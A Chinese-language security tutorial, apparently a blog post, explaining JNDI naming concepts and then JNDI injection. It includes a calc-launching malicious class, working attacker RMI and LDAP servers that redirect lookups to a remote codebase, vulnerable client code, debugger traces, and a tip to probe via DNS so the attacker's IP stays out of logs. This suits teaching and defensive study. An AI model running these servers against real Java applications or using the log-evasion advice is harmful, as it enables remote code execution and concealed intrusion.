以下文章来源于情深网安 ,作者一往情深
一、JNDI简介
1.1 JNDI的基本概念
JNDI(Java Naming and Directory Interface)是Java平台提供的一个API,它允许Java应用程序访问命名和目录服务。它主要用于查找各种资源,提供了一种统一的方式来访问不同的目录和命名服务。JNDI的工作方式是通过名称查找对象,而不是直接通过对象类型查找。为了更形象的理解概念,可以把JNDI比喻成一个电话簿, 当你知道某个人的名字时,你可以通过电话簿找到他的联系方式,而不需要知道他具体的电话号码。若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。
1.2 JNDI的核心名词解释
在前面关于JNDI的概念中,已经提到了与命名服务和目录服务相关的一些术语。下面对JNDI常见的一些术语进行具体解释:
命名服务
(Naming Service):
命名服务是JNDI中的一种功能,通过名称来查找资源。它允许使用一个名称(例如RMI)来访问对应的资源。可以将其简单理解为“键值对绑定”,通过键名检索对应的值。例如:通过资源名称查找到一个对象的引用。
目录服务
(Directory Service):
目录服务是命名服务的扩展,能够处理更复杂的结构,如LDAP或DNS。与命名服务的区别在于,目录服务支持通过对象的属性来进行检索。
举个例子:在公司的人力资源系统中查找某个员工,可以通过“部门 -> 职位 -> 员工姓名”这样的方式查找。比如,要找到一名软件工程师,先定位到“技术部”,再找到“开发组”,最后根据“员工姓名”定位到具体的人员。这种分层级的查找方式类似于目录结构,“部门”、“职位”、“员工姓名”是描述该员工的属性,而这种存储和查找方式就被称为目录服务。
Context
(上下文):
Context是JNDI的核心概念之一,表示一个命名环境。它提供了命名空间的视图,并支持与命名服务进行交互。通过Context,可以执行对象的查找、绑定、解绑和移除等操作。
Name
(名字):
Name是JNDI中对象的名称,通常由一个字符串列表表示,代表资源的路径。通过Name,用户可以在命名空间中找到对应的资源。
Binding
(绑定):
绑定是指将一个对象与一个名称关联。通过绑定,可以在JNDI环境中将一个资源(如数据库连接、消息队列等)与一个名称绑定起来,之后通过该名称访问该资源。
Lookup
(查找):
查找是指根据名称获取资源的操作。通过lookup()方法,JNDI可以从命名服务中查找并返回一个已绑定的对象。
Environment
(环境):
环境是JNDI操作所依赖的配置信息集合,通常包含一些如服务器地址、端口、认证信息等参数。这些参数决定了如何连接和使用JNDI服务。
DirContext
(目录上下文):
DirContext是JNDI中用于访问和操作目录服务的接口,扩展自Context接口。它提供了用于搜索和更新目录中对象的额外方法,如通过对象属性来查找特定资源。
NamingException
(命名异常):
这是JNDI中的一种异常类型,用于指示命名服务相关的错误,比如找不到指定名称的资源、资源的类型不匹配等。
Subcontext
(子上下文):
子上下文是指在一个Context中创建的新的命名空间。通过子上下文,可以将命名空间层次化,方便管理和组织资源。
ContextFactory
(上下文工厂):
ContextFactory用于创建Context实例。不同类型的命名服务可能会有不同的上下文工厂,负责创建与具体命名服务相关的上下文对象。
InitialContext
(初始上下文):
InitialContext是JNDI的入口点,通常用于获取与命名服务交互的Context对象。在JNDI操作中,通常先通过InitialContext获取一个初始的上下文对象,然后通过它进行资源的查找和绑定。
1.3 JNDI常用操作
获取Context
: 获取命名上下文是使用JNDI的第一步。常见的获取方式是通过InitialContext类来获得。
import javax.naming.InitialContext;
import javax.naming.Context;
Context ctx = new InitialContext();
查找对象
: 使用lookup方法来查找已经在命名空间中绑定的对象。
Object obj = ctx.lookup("java:/comp/env/jdbc/MyDataSource");
绑定对象
: 使用bind或rebind方法来将对象绑定到命名空间中。
ctx.bind("java:/comp/env/jdbc/MyDataSource", myDataSource);
删除对象
: 使用unbind方法来从命名空间中移除一个绑定对象。
ctx.unbind("java:/comp/env/jdbc/MyDataSource");
二、JNDI注入原理
JNDI注入是由于 lookup() 方法的参数是外部可控的,攻击者可以通过在远程服务器上构造恶意的 Reference 对象并绑定到某个命名服务(例如 LDAP、RMI、DNS 等)的注册表中,从而诱导客户端在调用 lookup() 方法时加载并执行恶意代码。
攻击流程通常如下:
1、攻击者在可控的远程服务器(如 RMI 或 LDAP 服务器)上,构造一个恶意的 Reference 对象,并将其绑定到该服务的命名注册表中。
2、受害者的客户端程序调用 lookup() 方法,并通过用户输入或不受信任的参数传递了一个恶意的 JNDI 地址(如 rmi://、ldap:// 或其他协议)。
3、客户端程序向远程服务发起请求,获取到 Reference 对象。
4、客户端解析 Reference 对象,并根据其中的属性尝试加载指定的类。如果客户端无法在本地查找到该类(通过 Class.forName 等),会按照 Reference 中的远程地址去下载并加载对应的类。
5、恶意类被加载到客户端的 JVM 中,并在本地执行,最终导致远程代码执行(RCE)。
JNDI 注入对 JDK 版本有相应的限制,具体可利用版本如下,从下面的图可以发现JNDI注入中LDAP的方式比RMI方式兼容性更大,所以实战中我们优先选择使用LDAP
三、JNDI注入复现
3.1 JNDI + RMI
首先准备好恶意的字节码载荷,并使用python启动http服务,需要注意的是恶意class中没有写包名
// 注意: 无包名,作为远程加载的类
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
System.out.println("恶意代码被加载执行 ! ! !");
} catch (Exception e) {
e.printStackTrace();
}
}
}
python -m http.server 8081
运行攻击者服务端的RMI服务
package com.study.jndi.rmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception{
// 创建一个 RMI 注册表, 绑定到 7778 端口
Registry registry = LocateRegistry.createRegistry(7778);
// 创建一个 Reference 对象,表示将要在 RMI 注册表中绑定的对象 第一个"Calc" 是对象的类名, 第2个"Calc" 是构造方法的名称, URL 表示该对象的工厂位置
Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8081/");
// 使用 ReferenceWrapper 包装 Reference 对象, 这样可以使得 Reference 对象通过 RMI 注册表被查找时, 能够被正确反序列化并执行
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 将包装后的 ReferenceWrapper 绑定到 RMI 注册表中,使用 "RCE" 作为绑定名
registry.bind("RCE",wrapper);
System.out.println("攻击者的RMI服务已启动 . . .");
}
}
漏洞端代码,执行触发RCE
package com.study.jndi.rmi;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws NamingException{
// 定义 RMI 服务器地址及绑定的远程对象名称
String uri = "rmi://127.0.0.1:7778/RCE";
// 创建一个 InitialContext 实例, 它是 JNDI 查找的起点
InitialContext initialContext = new InitialContext();
// 使用 JNDI 查找远程对象, 并返回相应的引用
initialContext.lookup(uri);
}
}
对刚刚的攻击流程进行断点分析
我们在JNDI注入的核心方法lookup上下断点进行调试
继续追踪到lookup方法的实现,getRootURLContext 方法作为第一步,用于解析传入的URL,目的是分隔 RMI URL 的各个部分,并返回一个相应的上下文信息。
继续向下执行代码,var2的ResolvedObj属性会赋值给var3,然后去调用var3的lookup方法
跟进var3的lookup方法, 该 lookup 方法通过传入的var1参数查找并返回对应的对象。如果为空,则返回一个新的 RegistryContext 对象。这里var1的值为RCE,从远程注册表 (this.registry) 查找第一个部分的对象。若查找失败,会抛出 NameNotFoundException;若发生远程异常,则通过 wrapRemoteException 方法将其包装为 NamingException。最后,成功查找到远程对象后,使用 decodeObject 方法对其进行解码,并返回相应的对象。
最后,执行decodeObject方法,用于解码远程对象
跟进decodeObject方法,该方法接收一个远程对象 (Remote var1) 和 JNDI 名称 (Name var2),并尝试解码远程对象。其主要逻辑是通过判断 var1 是否为 RemoteReference 类型,决定是否获取远程引用,并使用 NamingManager.getObjectInstance 获取对象实例。这个方法的作用是将远程对象转换为本地对象,并返回转换后的本地对象,从而触发远程类的执行
跟进getObjectInstance方法,首先尝试使用一个名为 ObjectFactoryBuilder 的构建器来创建一个 ObjectFactory 实例。如果构建器存在且能够创建一个有效的工厂(factory),则调用该工厂的 getObjectInstance 方法来获取对象实例并返回。 这里采用远程方法调用,故本地没有对象工厂构建器
下面检查 refInfo 的类型,如果是 Reference 类型,则尝试获取引用中的工厂类名
如果 ref 存在则尝试通过该类名创建相应的工厂类并使用它来创建对象实例。
跟进getObjectFactoryFromReference方法, 这段代码实现了优先加载本地类(当前类路径中的类),如果本地类路径中找不到指定的类,则尝试从远程代码库(codebase)加载的逻辑。
下面代码进行类加载,这里因为恶意代码写在 static 代码块中,所以类加载时即可触发执行
最后调用 newInstance() 方法来执行实例
3.2 JNDI + LDAP
和上面一样准备好恶意载荷并用python起http服务
运行攻击者服务端LDAP服务,服务端代码如下,运行该代码需要导入unboundid依赖,
pom
如下
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
package com.study.jndi.ldap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8081/#Calc";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
漏洞端代码,执行触发RCE
package com.study.jndi.ldap;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws NamingException{
String url = "ldap://127.0.0.1:1389/Calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
对刚刚的攻击流程进行断点分析,其实和RMI的流程大差不差,就当做再复习一遍,还是在lookup方法上打上断点
这里是判断传入的Ldap URL是否合法,不合法则会抛出异常
继续跟进lookup方法,再进入var3的lookup方法
通过不断更新上下文和名称,分段完成名称的查找过程。这种实现通常用于支持复合命名系统,例如多个命名空间的拼接
下面这段代码实现了一个名为 p_lookup 的方法,负责根据传入的 Name 和 Continuation 对象进行命名查找操作。它主要通过 p_resolveIntermediate 方法解析中间部分名称,并根据解析的状态决定执行具体的查找操作
跟进方法最后跳转到DirectoryManager的getObjectInstance方法,后面的分析就和上文RMI一模一样的了
3.3 JNDI + DNS
从上面复现的案例知道JNDI 注入可以通过 RMI 和 LDAP 协议远程加载恶意代码并执行,但在漏洞尚未确认的情况下贸然尝试利用,目标服务器的日志可能记录下攻击者的 IP 地址,从而暴露攻击者的服务器 IP。为规避这一问题,可以优先使用 DNS 协议进行漏洞探测,确定存在漏洞了再去使用LDAP和RMI协议进行漏洞利用。
漏洞端代码
package com.study.jndi.dns;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class DNSClient {
public static void main(String[] args) throws NamingException{
String url = "dns://alsr42.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
参考 :
https://www.cnblogs.com/shaoqiblog/p/17242065.html
https://download.csdn.net/blog/column/11907514/136459856#1JNDI_2
https://www.cnblogs.com/LittleHann/p/17768907.html
https://blog.csdn.net/qq_61620566/article/details/142939502
标签:Java,对象,JNDI,查找,lookup,import,com,浅析
From: https://www.cnblogs.com/o-O-oO/p/18674537